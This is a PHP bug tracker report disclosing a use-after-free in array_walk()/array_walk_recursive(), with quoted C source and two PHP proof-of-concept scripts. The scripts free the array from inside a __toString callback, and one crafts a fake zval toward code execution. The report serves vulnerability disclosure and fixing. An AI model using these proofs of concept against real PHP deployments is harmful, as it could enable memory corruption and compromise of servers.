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Bug #70713 Use After Free Vulnerability in array_walk()/array_walk_recursive()
Submitted: 2015-10-14 16:39 UTC Modified: 2016-07-29 22:21 UTC
Votes:1
Avg. Score:3.0 ± 0.0
Reproduced:1 of 1 (100.0%)
Same Version:0 (0.0%)
Same OS:0 (0.0%)
From: taoguangchen at icloud dot com Assigned: nikic
Status: Closed Package: *General Issues
PHP Version: Irrelevant OS: *
Private report: No CVE-ID:
 [2015-10-14 16:39 UTC] taoguangchen at icloud dot com
Description:
------------
Use After Free Vulnerability in array_walk()/array_walk_recursive()

```
static int php_array_walk(HashTable *target_hash, zval *userdata, int recursive TSRMLS_DC) /* {{{ */
{
	...
	
	BG(array_walk_fci).retval_ptr_ptr = &retval_ptr;
	BG(array_walk_fci).param_count = userdata ? 3 : 2;
	BG(array_walk_fci).params = args;
	BG(array_walk_fci).no_separation = 0;
	
	/* Iterate through hash */
	zend_hash_internal_pointer_reset(target_hash);
	while (!EG(exception) && zend_hash_get_current_data(target_hash, (void **)&args[0]) == SUCCESS) {
	
	...
			if (zend_call_function(&BG(array_walk_fci), &BG(array_walk_fci_cache) TSRMLS_CC) == SUCCESS) {
	...

PHP_FUNCTION(array_walk)
{
	...

	if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Hf|z/", &array, &BG(array_walk_fci), &BG(array_walk_fci_cache), &userdata) == FAILURE) {
		BG(array_walk_fci) = orig_array_walk_fci;
		BG(array_walk_fci_cache) = orig_array_walk_fci_cache;
		return;
	}

	php_array_walk(array, userdata, 0 TSRMLS_CC);
```

the array_walk()/array_walk_recursive()'s callback function to a object-type ZVAL is able to call to the object's magic methods, this means an attacker will be able to changes the original array and its elements. this should result in use-after-free attack and arbitrary code execution.

PoC1
```
class obj
{
	function __tostring()
	{
		global $arr, $zval;
		
		$arr = 1;
		$zval = ptr2str(2);
		$zval .= ptr2str(0x1122334455);
		$zval .= "\x00\x00\x00\x00";
		$zval .= "\x05";
		$zval .= "\x00";
		$zval .= "\x00\x00";
		
		return 'hi';
	}
}

$arr = array('string' => new obj, 1);
array_walk_recursive($arr, 'settype');
```

PoC2
```
class obj
{
	function __tostring()
	{
		global $arr;
		
		$arr = 1;
		for ($i = 0; $i < 5; $i++) {
			$v[$i] = 'hi'.$i;
		}
		
		return 'hi';
	}
}

$arr = array('string' => new obj);
array_walk_recursive($arr, 'settype');
```


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History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-10-14 16:43 UTC] stas@php.net
-Type: Security +Type: Bug
 [2016-07-29 22:21 UTC] nikic@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: nikic
 
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